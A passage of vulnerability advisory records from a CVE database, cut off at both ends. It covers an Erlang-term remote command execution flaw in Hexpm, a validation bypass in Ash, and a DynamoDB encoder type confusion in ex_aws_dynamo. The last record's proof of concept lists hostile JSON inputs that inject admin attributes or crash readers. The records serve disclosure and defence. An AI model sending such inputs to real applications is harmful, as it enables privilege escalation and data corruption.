calls the log hook. For a {module, function, args} tuple the hook is apply(mod, fun, [entry | args]). All three values come from the request body. The log entry takes the first argument position, so the request names an OTP standard library function that applies a trailing module, function and argument list. The inner call runs an operating system command as the user of the BEAM process.\n\nThe Inspect implementation of a struct runs inside a rescue in Inspect.Algebra, so the request ends with the ordinary 500 response for the Plug.MethodOverride error.\n\nThe fix makes HexpmWeb.ErlangFormat.decode/1 return an error when any map in the decoded term has a __struct__ key. The parser turns that error into a 400 response."
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "assignerShortName": "EEF",
        "cveId": "CVE-2026-129514",
        "datePublished": "2026-11-24T13:48:12.692Z",
        "dateReserved": "2026-11-16T02:00:55.789Z",
        "dateUpdated": "2026-11-24T15:26:06.526Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }

    CVE-2026-120299 (GCVE-0-2026-120299)

    Vulnerability from cvelistv5 – Published: 2026-11-24 13:13 – Updated: 2026-11-24 13:13
    VLAI
    Title
    Ash.Type.Keyword casts client input as trusted stored data, bypassing the input validation of its field types
    Summary
    Improper Input Validation vulnerability in ash-project ash allows an attacker to bypass the input validation of the field types of a :keyword attribute or argument. Ash.Type.Keyword.cast_input/2 in lib/ash/type/keyword.ex converts a map input to a keyword list in try_map_to_keyword/2, which casts each declared field with Ash.Type.cast_stored/3. That function is meant for trusted values read back from the data layer, so client input skips the cast_input/2 of each field type. apply_constraints/2 casts the result again with cast_input/2, but most types accept a value of their own type unchanged. An embedded resource field is built without its create action, so its validations and changes do not run and its non-public attributes can be set. A :function field accepts a capture string such as &Mod.fun/1, and a :term field decodes Erlang external term format. This issue affects ash: from 3.24.0 before 3.38.1.
    CWE
    • CWE-20 - Improper Input Validation
    Assigner
    EEF CNA under the mitre root
    CNA scorecard A 97/100 over 376 records in the last 180 days details
    Impacted products
    Vendor Product Version
    ash-project ash Affected: 3.24.0 , < 3.38.1 (semver)
        cpe:2.3:a:ash-project:ash:*:*:*:*:*:*:*:*
    Create a notification for this product.
    ash-project ash Affected: 71b709232454cff3ca23286c2a6b39a486bc8640 , < 97a0a6061bebc2d4f7ebb40928f94a0ac734e498 (git)
        cpe:2.3:a:ash-project:ash:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Date Public
    2026-11-24 13:13
    Show details on NVD website

    {
      "containers": {
        "cna": {
          "affected": [
            {
              "collectionURL": "https://repo.hex.pm",
              "cpes": [
                "cpe:2.3:a:ash-project:ash:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.Ash.Type.Keyword\u0027"
              ],
              "packageName": "ash",
              "packageURL": "pkg:hex/ash",
              "product": "ash",
              "programFiles": [
                "lib/ash/type/keyword.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.Ash.Type.Keyword\u0027:cast_input/2"
                }
              ],
              "repo": "https://github.com/ash-project/ash",
              "vendor": "ash-project",
              "versions": [
                {
                  "lessThan": "3.38.1",
                  "status": "affected",
                  "version": "3.24.0",
                  "versionType": "semver"
                }
              ]
            },
            {
              "collectionURL": "https://github.com",
              "cpes": [
                "cpe:2.3:a:ash-project:ash:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.Ash.Type.Keyword\u0027"
              ],
              "packageName": "ash-project/ash",
              "packageURL": "pkg:github/ash-project/ash",
              "product": "ash",
              "programFiles": [
                "lib/ash/type/keyword.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.Ash.Type.Keyword\u0027:cast_input/2"
                }
              ],
              "repo": "https://github.com/ash-project/ash",
              "vendor": "ash-project",
              "versions": [
                {
                  "lessThan": "97a0a6061bebc2d4f7ebb40928f94a0ac734e498",
                  "status": "affected",
                  "version": "71b709232454cff3ca23286c2a6b39a486bc8640",
                  "versionType": "git"
                }
              ]
            }
          ],
          "configurations": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eReachable when a \u003ccode\u003e:keyword\u003c/code\u003e attribute or argument that accepts client input declares \u003ccode\u003efields\u003c/code\u003e, the client sends it as a map (or a JSON string), and one of the field types casts stored values more loosely than input, such as an embedded resource, \u003ccode\u003e:function\u003c/code\u003e or \u003ccode\u003e:term\u003c/code\u003e.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Reachable when a `:keyword` attribute or argument that accepts client input declares `fields`, the client sends it as a map (or a JSON string), and one of the field types casts stored values more loosely than input, such as an embedded resource, `:function` or `:term`."
                }
              ],
              "value": "Reachable when a :keyword attribute or argument that accepts client input declares fields, the client sends it as a map (or a JSON string), and one of the field types casts stored values more loosely than input, such as an embedded resource, :function or :term."
            }
          ],
          "cpeApplicability": [
            {
              "nodes": [
                {
                  "cpeMatch": [
                    {
                      "criteria": "cpe:2.3:a:ash-project:ash:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "3.38.1",
                      "versionStartIncluding": "3.24.0",
                      "vulnerable": true
                    }
                  ],
                  "negate": false,
                  "operator": "OR"
                }
              ],
              "operator": "AND"
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Jace"
            },
            {
              "lang": "en",
              "type": "reporter",
              "value": "Jace"
            },
            {
              "lang": "en",
              "type": "analyst",
              "value": "Jonatan M\u00e4nnchen / EEF"
            },
            {
              "lang": "en",
              "type": "remediation developer",
              "value": "Zach Daniel"
            }
          ],
          "dateAssigned": "2026-11-24T13:01:43.000Z",
          "datePublic": "2026-11-24T13:13:17.000Z",
          "descriptions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eImproper Input Validation vulnerability in ash-project ash allows an attacker to bypass the input validation of the field types of a \u003ccode\u003e:keyword\u003c/code\u003e attribute or argument.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eAsh.Type.Keyword.cast_input/2\u003c/code\u003e in \u003ccode\u003elib/ash/type/keyword.ex\u003c/code\u003e converts a map input to a keyword list in \u003ccode\u003etry_map_to_keyword/2\u003c/code\u003e, which casts each declared field with \u003ccode\u003eAsh.Type.cast_stored/3\u003c/code\u003e. That function is meant for trusted values read back from the data layer, so client input skips the \u003ccode\u003ecast_input/2\u003c/code\u003e of each field type. \u003ccode\u003eapply_constraints/2\u003c/code\u003e casts the result again with \u003ccode\u003ecast_input/2\u003c/code\u003e, but most types accept a value of their own type unchanged. An embedded resource field is built without its create action, so its validations and changes do not run and its non-public attributes can be set. A \u003ccode\u003e:function\u003c/code\u003e field accepts a capture string such as \u003ccode\u003e\u0026amp;Mod.fun/1\u003c/code\u003e, and a \u003ccode\u003e:term\u003c/code\u003e field decodes Erlang external term format.\u003c/p\u003e\n\u003cp\u003eThis issue affects ash: from 3.24.0 before 3.38.1.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Improper Input Validation vulnerability in ash-project ash allows an attacker to bypass the input validation of the field types of a `:keyword` attribute or argument.\n\n`Ash.Type.Keyword.cast_input/2` in `lib/ash/type/keyword.ex` converts a map input to a keyword list in `try_map_to_keyword/2`, which casts each declared field with `Ash.Type.cast_stored/3`. That function is meant for trusted values read back from the data layer, so client input skips the `cast_input/2` of each field type. `apply_constraints/2` casts the result again with `cast_input/2`, but most types accept a value of their own type unchanged. An embedded resource field is built without its create action, so its validations and changes do not run and its non-public attributes can be set. A `:function` field accepts a capture string such as `\u0026Mod.fun/1`, and a `:term` field decodes Erlang external term format.\n\nThis issue affects ash: from 3.24.0 before 3.38.1."
                }
              ],
              "value": "Improper Input Validation vulnerability in ash-project ash allows an attacker to bypass the input validation of the field types of a :keyword attribute or argument.\n\nAsh.Type.Keyword.cast_input/2 in lib/ash/type/keyword.ex converts a map input to a keyword list in try_map_to_keyword/2, which casts each declared field with Ash.Type.cast_stored/3. That function is meant for trusted values read back from the data layer, so client input skips the cast_input/2 of each field type. apply_constraints/2 casts the result again with cast_input/2, but most types accept a value of their own type unchanged. An embedded resource field is built without its create action, so its validations and changes do not run and its non-public attributes can be set. A :function field accepts a capture string such as \u0026Mod.fun/1, and a :term field decodes Erlang external term format.\n\nThis issue affects ash: from 3.24.0 before 3.38.1."
            }
          ],
          "impacts": [
            {
              "capecId": "CAPEC-153",
              "descriptions": [
                {
                  "lang": "en",
                  "supportingMedia": [
                    {
                      "base64": false,
                      "type": "text/html",
                      "value": "\u003cp\u003eA client that can set a \u003ccode\u003e:keyword\u003c/code\u003e attribute or argument stores field values that the field type\u0027s input casting would reject, such as an embedded resource that skipped its create action and validations.\u003c/p\u003e"
                    },
                    {
                      "base64": false,
                      "type": "text/markdown",
                      "value": "A client that can set a `:keyword` attribute or argument stores field values that the field type\u0027s input casting would reject, such as an embedded resource that skipped its create action and validations."
                    }
                  ],
                  "value": "A client that can set a :keyword attribute or argument stores field values that the field type\u0027s input casting would reject, such as an embedded resource that skipped its create action and validations."
                }
              ]
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "PRESENT",
                "attackVector": "LOCAL",
                "baseScore": 2.1,
                "baseSeverity": "LOW",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "NONE",
                "vulnConfidentialityImpact": "NONE",
                "vulnIntegrityImpact": "LOW",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "format": "CVSS",
              "scenarios": [
                {
                  "lang": "en",
                  "value": "GENERAL"
                }
              ]
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-20",
                  "description": "CWE-20 Improper Input Validation",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-11-24T13:13:20.054Z",
            "orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
            "shortName": "EEF"
          },
          "references": [
            {
              "name": "Ash.Type.Keyword casts client input as trusted stored data, bypassing the input validation of its field types",
              "tags": [
                "vendor-advisory",
                "related"
              ],
              "url": "https://github.com/ash-project/ash/security/advisories/GHSA-rwmx-99mc-qr2x"
            },
            {
              "name": "EEF CNA record for CVE-2026-120299",
              "tags": [
                "related"
              ],
              "url": "https://cna.erlef.org/cves/CVE-2026-120299.html"
            },
            {
              "name": "OSV record EEF-CVE-2026-120299",
              "tags": [
                "related"
              ],
              "url": "https://osv.dev/vulnerability/EEF-CVE-2026-120299"
            },
            {
              "name": "Introducing commit 71b7092 in ash-project/ash",
              "tags": [
                "related"
              ],
              "url": "https://github.com/ash-project/ash/commit/71b709232454cff3ca23286c2a6b39a486bc8640"
            },
            {
              "name": "Fix commit 97a0a60 in ash-project/ash",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/ash-project/ash/commit/97a0a6061bebc2d4f7ebb40928f94a0ac734e498"
            }
          ],
          "source": {
            "discovery": "EXTERNAL"
          },
          "title": "Ash.Type.Keyword casts client input as trusted stored data, bypassing the input validation of its field types"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "assignerShortName": "EEF",
        "cveId": "CVE-2026-120299",
        "datePublished": "2026-11-24T13:13:20.054Z",
        "dateReserved": "2026-11-24T12:04:09.559Z",
        "dateUpdated": "2026-11-24T13:13:20.054Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }

    CVE-2026-62270 (GCVE-0-2026-62270)

    Vulnerability from cvelistv5 – Published: 2026-11-24 12:59 – Updated: 2026-11-24 12:59
    VLAI
    Title
    Type confusion via structural idempotency guard in ExAws.Dynamo.Encoder.encode/2
    Summary
    Improper Validation of Specified Type of Input in ExAws.Dynamo.Encoder.encode/2 in ex_aws_dynamo allows an attacker who controls map data passed into a DynamoDB call to choose the raw stored DynamoDB AttributeValue. The encode/2 function in lib/ex_aws/dynamo/encoder.ex has one clause per DynamoDB type descriptor ("S", "N", "B", "BOOL", "M", "L", "NS", "SS", "BS", "NULL") that treats any map merely containing such a key as already encoded and returns it verbatim, bypassing the ExAws.Dynamo.Encodable protocol. The match is on the presence of the key alone, so no check is made that the value is well formed for the claimed type, and extra keys and arbitrary nested content survive untouched. An application that threads user-influenced map data (a decoded JSON body, a nested attribute, or an expression_attribute_values entry) into a Dynamo write or query therefore lets the user, rather than the application, decide the stored attribute's declared type, its bytes, and its structure. This type confusion breaks round-trip integrity and enables silent persistent data corruption, injection of attributes and raw binaries the schema never sanctioned, subversion of application authorization checks that trust the decoded type of a value, and a decoder crash on read-back that denies reads of the affected item to other users of the same table. This issue affects ex_aws_dynamo: from 2.0.0 before 4.3.0.
    CWE
    • CWE-1287 - Improper Validation of Specified Type of Input
    Assigner
    EEF CNA under the mitre root
    CNA scorecard A 97/100 over 376 records in the last 180 days details
    Impacted products
    Vendor Product Version
    ex-aws ex_aws_dynamo Affected: 2.0.0 , < 4.3.0 (semver)
        cpe:2.3:a:ex-aws:ex_aws_dynamo:*:*:*:*:*:*:*:*
    Create a notification for this product.
    ex-aws ex_aws_dynamo Affected: a760463986f056937e61f5cd1c14e068c259d336 , < 8d1f1d8da8ea36ca7119bbcc7e210762fe4a1413 (git)
        cpe:2.3:a:ex-aws:ex_aws_dynamo:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Date Public
    2026-11-24 12:58
    Show details on NVD website

    {
      "containers": {
        "cna": {
          "affected": [
            {
              "collectionURL": "https://repo.hex.pm",
              "cpes": [
                "cpe:2.3:a:ex-aws:ex_aws_dynamo:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.ExAws.Dynamo.Encoder\u0027"
              ],
              "packageName": "ex_aws_dynamo",
              "packageURL": "pkg:hex/ex_aws_dynamo",
              "product": "ex_aws_dynamo",
              "programFiles": [
                "lib/ex_aws/dynamo/encoder.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.ExAws.Dynamo.Encoder\u0027:encode/2"
                },
                {
                  "name": "\u0027Elixir.ExAws.Dynamo.Encoder\u0027:encode/1"
                }
              ],
              "repo": "https://github.com/ex-aws/ex_aws_dynamo",
              "vendor": "ex-aws",
              "versions": [
                {
                  "lessThan": "4.3.0",
                  "status": "affected",
                  "version": "2.0.0",
                  "versionType": "semver"
                }
              ]
            },
            {
              "collectionURL": "https://github.com",
              "cpes": [
                "cpe:2.3:a:ex-aws:ex_aws_dynamo:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.ExAws.Dynamo.Encoder\u0027"
              ],
              "packageName": "ex-aws/ex_aws_dynamo",
              "packageURL": "pkg:github/ex-aws/ex_aws_dynamo",
              "product": "ex_aws_dynamo",
              "programFiles": [
                "lib/ex_aws/dynamo/encoder.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.ExAws.Dynamo.Encoder\u0027:encode/2"
                },
                {
                  "name": "\u0027Elixir.ExAws.Dynamo.Encoder\u0027:encode/1"
                }
              ],
              "repo": "https://github.com/ex-aws/ex_aws_dynamo",
              "vendor": "ex-aws",
              "versions": [
                {
                  "lessThan": "8d1f1d8da8ea36ca7119bbcc7e210762fe4a1413",
                  "status": "affected",
                  "version": "a760463986f056937e61f5cd1c14e068c259d336",
                  "versionType": "git"
                }
              ]
            }
          ],
          "cpeApplicability": [
            {
              "nodes": [
                {
                  "cpeMatch": [
                    {
                      "criteria": "cpe:2.3:a:ex-aws:ex_aws_dynamo:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "4.3.0",
                      "versionStartIncluding": "2.0.0",
                      "vulnerable": true
                    }
                  ],
                  "negate": false,
                  "operator": "OR"
                }
              ],
              "operator": "AND"
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "reporter",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "analyst",
              "value": "Jonatan M\u00e4nnchen / EEF"
            },
            {
              "lang": "en",
              "type": "coordinator",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "remediation developer",
              "value": "Bernard Duggan"
            }
          ],
          "datePublic": "2026-11-24T12:58:59.000Z",
          "descriptions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eImproper Validation of Specified Type of Input in \u003ccode\u003eExAws.Dynamo.Encoder.encode/2\u003c/code\u003e in ex_aws_dynamo allows an attacker who controls map data passed into a DynamoDB call to choose the raw stored DynamoDB \u003ccode\u003eAttributeValue\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eThe \u003ccode\u003eencode/2\u003c/code\u003e function in \u003ccode\u003elib/ex_aws/dynamo/encoder.ex\u003c/code\u003e has one clause per DynamoDB type descriptor (\u003ccode\u003e\"S\"\u003c/code\u003e, \u003ccode\u003e\"N\"\u003c/code\u003e, \u003ccode\u003e\"B\"\u003c/code\u003e, \u003ccode\u003e\"BOOL\"\u003c/code\u003e, \u003ccode\u003e\"M\"\u003c/code\u003e, \u003ccode\u003e\"L\"\u003c/code\u003e, \u003ccode\u003e\"NS\"\u003c/code\u003e, \u003ccode\u003e\"SS\"\u003c/code\u003e, \u003ccode\u003e\"BS\"\u003c/code\u003e, \u003ccode\u003e\"NULL\"\u003c/code\u003e) that treats any map merely containing such a key as already encoded and returns it verbatim, bypassing the \u003ccode\u003eExAws.Dynamo.Encodable\u003c/code\u003e protocol. The match is on the presence of the key alone, so no check is made that the value is well formed for the claimed type, and extra keys and arbitrary nested content survive untouched.\u003c/p\u003e\n\u003cp\u003eAn application that threads user-influenced map data (a decoded JSON body, a nested attribute, or an \u003ccode\u003eexpression_attribute_values\u003c/code\u003e entry) into a Dynamo write or query therefore lets the user, rather than the application, decide the stored attribute\u0027s declared type, its bytes, and its structure. This type confusion breaks round-trip integrity and enables silent persistent data corruption, injection of attributes and raw binaries the schema never sanctioned, subversion of application authorization checks that trust the decoded type of a value, and a decoder crash on read-back that denies reads of the affected item to other users of the same table.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws_dynamo: from 2.0.0 before 4.3.0.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Improper Validation of Specified Type of Input in `ExAws.Dynamo.Encoder.encode/2` in ex_aws_dynamo allows an attacker who controls map data passed into a DynamoDB call to choose the raw stored DynamoDB `AttributeValue`.\n\nThe `encode/2` function in `lib/ex_aws/dynamo/encoder.ex` has one clause per DynamoDB type descriptor (`\"S\"`, `\"N\"`, `\"B\"`, `\"BOOL\"`, `\"M\"`, `\"L\"`, `\"NS\"`, `\"SS\"`, `\"BS\"`, `\"NULL\"`) that treats any map merely containing such a key as already encoded and returns it verbatim, bypassing the `ExAws.Dynamo.Encodable` protocol. The match is on the presence of the key alone, so no check is made that the value is well formed for the claimed type, and extra keys and arbitrary nested content survive untouched.\n\nAn application that threads user-influenced map data (a decoded JSON body, a nested attribute, or an `expression_attribute_values` entry) into a Dynamo write or query therefore lets the user, rather than the application, decide the stored attribute\u0027s declared type, its bytes, and its structure. This type confusion breaks round-trip integrity and enables silent persistent data corruption, injection of attributes and raw binaries the schema never sanctioned, subversion of application authorization checks that trust the decoded type of a value, and a decoder crash on read-back that denies reads of the affected item to other users of the same table.\n\nThis issue affects ex_aws_dynamo: from 2.0.0 before 4.3.0."
                }
              ],
              "value": "Improper Validation of Specified Type of Input in ExAws.Dynamo.Encoder.encode/2 in ex_aws_dynamo allows an attacker who controls map data passed into a DynamoDB call to choose the raw stored DynamoDB AttributeValue.\n\nThe encode/2 function in lib/ex_aws/dynamo/encoder.ex has one clause per DynamoDB type descriptor (\"S\", \"N\", \"B\", \"BOOL\", \"M\", \"L\", \"NS\", \"SS\", \"BS\", \"NULL\") that treats any map merely containing such a key as already encoded and returns it verbatim, bypassing the ExAws.Dynamo.Encodable protocol. The match is on the presence of the key alone, so no check is made that the value is well formed for the claimed type, and extra keys and arbitrary nested content survive untouched.\n\nAn application that threads user-influenced map data (a decoded JSON body, a nested attribute, or an expression_attribute_values entry) into a Dynamo write or query therefore lets the user, rather than the application, decide the stored attribute\u0027s declared type, its bytes, and its structure. This type confusion breaks round-trip integrity and enables silent persistent data corruption, injection of attributes and raw binaries the schema never sanctioned, subversion of application authorization checks that trust the decoded type of a value, and a decoder crash on read-back that denies reads of the affected item to other users of the same table.\n\nThis issue affects ex_aws_dynamo: from 2.0.0 before 4.3.0."
            }
          ],
          "impacts": [
            {
              "capecId": "CAPEC-153",
              "descriptions": [
                {
                  "lang": "en",
                  "supportingMedia": [
                    {
                      "base64": false,
                      "type": "text/html",
                      "value": "\u003cp\u003eType confusion / improper input validation in \u003ccode\u003eExAws.Dynamo.Encoder.encode/2\u003c/code\u003e. Affects any application on \u003ccode\u003eex_aws_dynamo\u003c/code\u003e that passes user-influenced map data (a decoded JSON body, a nested attribute, a filter value) into a Dynamo item write or \u003ccode\u003eexpression_attribute_values\u003c/code\u003e, which is the ordinary usage pattern behind an HTTP boundary. No authentication or special privilege is needed, only the ability to submit a JSON object whose key is one of the ten type descriptors. Consequences range from silent persistent data corruption and denial of service for other readers of the same table, to authorization bypass and injection of attacker-controlled binaries and privileged attributes into the datastore.\u003c/p\u003e"
                    },
                    {
                      "base64": false,
                      "type": "text/markdown",
                      "value": "Type confusion / improper input validation in `ExAws.Dynamo.Encoder.encode/2`. Affects any application on `ex_aws_dynamo` that passes user-influenced map data (a decoded JSON body, a nested attribute, a filter value) into a Dynamo item write or `expression_attribute_values`, which is the ordinary usage pattern behind an HTTP boundary. No authentication or special privilege is needed, only the ability to submit a JSON object whose key is one of the ten type descriptors. Consequences range from silent persistent data corruption and denial of service for other readers of the same table, to authorization bypass and injection of attacker-controlled binaries and privileged attributes into the datastore."
                    }
                  ],
                  "value": "Type confusion / improper input validation in ExAws.Dynamo.Encoder.encode/2. Affects any application on ex_aws_dynamo that passes user-influenced map data (a decoded JSON body, a nested attribute, a filter value) into a Dynamo item write or expression_attribute_values, which is the ordinary usage pattern behind an HTTP boundary. No authentication or special privilege is needed, only the ability to submit a JSON object whose key is one of the ten type descriptors. Consequences range from silent persistent data corruption and denial of service for other readers of the same table, to authorization bypass and injection of attacker-controlled binaries and privileged attributes into the datastore."
                }
              ]
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "PRESENT",
                "attackVector": "LOCAL",
                "baseScore": 5.9,
                "baseSeverity": "MEDIUM",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "LOW",
                "vulnConfidentialityImpact": "LOW",
                "vulnIntegrityImpact": "HIGH",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "format": "CVSS",
              "scenarios": [
                {
                  "lang": "en",
                  "value": "GENERAL"
                }
              ]
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-1287",
                  "description": "CWE-1287 Improper Validation of Specified Type of Input",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-11-24T12:59:00.667Z",
            "orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
            "shortName": "EEF"
          },
          "references": [
            {
              "tags": [
                "vendor-advisory",
                "related"
              ],
              "url": "https://github.com/ex-aws/ex_aws_dynamo/security/advisories/GHSA-9776-rh77-6wp6"
            },
            {
              "name": "EEF CNA record for CVE-2026-62270",
              "tags": [
                "related"
              ],
              "url": "https://cna.erlef.org/cves/CVE-2026-62270.html"
            },
            {
              "name": "OSV record EEF-CVE-2026-62270",
              "tags": [
                "related"
              ],
              "url": "https://osv.dev/vulnerability/EEF-CVE-2026-62270"
            },
            {
              "name": "Introducing commit a760463 in ex-aws/ex_aws_dynamo",
              "tags": [
                "related"
              ],
              "url": "https://github.com/ex-aws/ex_aws_dynamo/commit/a760463986f056937e61f5cd1c14e068c259d336"
            },
            {
              "name": "Fix commit 8d1f1d8 in ex-aws/ex_aws_dynamo",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/ex-aws/ex_aws_dynamo/commit/8d1f1d8da8ea36ca7119bbcc7e210762fe4a1413"
            }
          ],
          "source": {
            "discovery": "EXTERNAL"
          },
          "title": "Type confusion via structural idempotency guard in ExAws.Dynamo.Encoder.encode/2",
          "workarounds": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eValidate or reject untrusted map data whose top-level key is one of the DynamoDB type descriptors (\u003ccode\u003e\"S\"\u003c/code\u003e, \u003ccode\u003e\"N\"\u003c/code\u003e, \u003ccode\u003e\"B\"\u003c/code\u003e, \u003ccode\u003e\"BOOL\"\u003c/code\u003e, \u003ccode\u003e\"M\"\u003c/code\u003e, \u003ccode\u003e\"L\"\u003c/code\u003e, \u003ccode\u003e\"NS\"\u003c/code\u003e, \u003ccode\u003e\"SS\"\u003c/code\u003e, \u003ccode\u003e\"BS\"\u003c/code\u003e, \u003ccode\u003e\"NULL\"\u003c/code\u003e) before passing it to \u003ccode\u003eExAws.Dynamo.Encoder.encode/2\u003c/code\u003e or into a Dynamo call, so that user-supplied maps cannot be mistaken for already-encoded values.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Validate or reject untrusted map data whose top-level key is one of the DynamoDB type descriptors (`\"S\"`, `\"N\"`, `\"B\"`, `\"BOOL\"`, `\"M\"`, `\"L\"`, `\"NS\"`, `\"SS\"`, `\"BS\"`, `\"NULL\"`) before passing it to `ExAws.Dynamo.Encoder.encode/2` or into a Dynamo call, so that user-supplied maps cannot be mistaken for already-encoded values."
                }
              ],
              "value": "Validate or reject untrusted map data whose top-level key is one of the DynamoDB type descriptors (\"S\", \"N\", \"B\", \"BOOL\", \"M\", \"L\", \"NS\", \"SS\", \"BS\", \"NULL\") before passing it to ExAws.Dynamo.Encoder.encode/2 or into a Dynamo call, so that user-supplied maps cannot be mistaken for already-encoded values."
            }
          ],
          "x_proofOfConcept": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003col\u003e\n\u003cli\u003eAn endpoint takes a JSON body \u003ccode\u003e{\"filter\": \u0026lt;any JSON value\u0026gt;}\u003c/code\u003e and passes the value to \u003ccode\u003eExAws.Dynamo.query(\"Products\", key_condition_expression: \"attr = :val\", expression_attribute_values: [val: user_value])\u003c/code\u003e, which runs it through \u003ccode\u003eEncoder.encode/2\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eA benign value \u003ccode\u003e{\"city\": \"Berlin\"}\u003c/code\u003e is encoded as type \u003ccode\u003eM\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker sends \u003ccode\u003e{\"N\": \"1000000\"}\u003c/code\u003e. The \u003ccode\u003e\"N\"\u003c/code\u003e clause matches, the map is sent unchanged, and it reads back as the integer \u003ccode\u003e1000000\u003c/code\u003e instead of a map.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e{\"B\": \"\u0026lt;base64\u0026gt;\"}\u003c/code\u003e stores attacker-chosen raw bytes, \u003ccode\u003e{\"NULL\": \"true\"}\u003c/code\u003e makes an \u003ccode\u003eis_private\u003c/code\u003e flag decode to \u003ccode\u003enil\u003c/code\u003e, and \u003ccode\u003e{\"M\": {\"role\": {\"S\": \"admin\"}, \"is_admin\": {\"BOOL\": true}}}\u003c/code\u003e injects attributes the schema never sanctioned.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e{\"N\": \"evil\"}\u003c/code\u003e is stored as a malformed number, and a later scan by another user raises while decoding the item.\u003c/li\u003e\n\u003c/ol\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
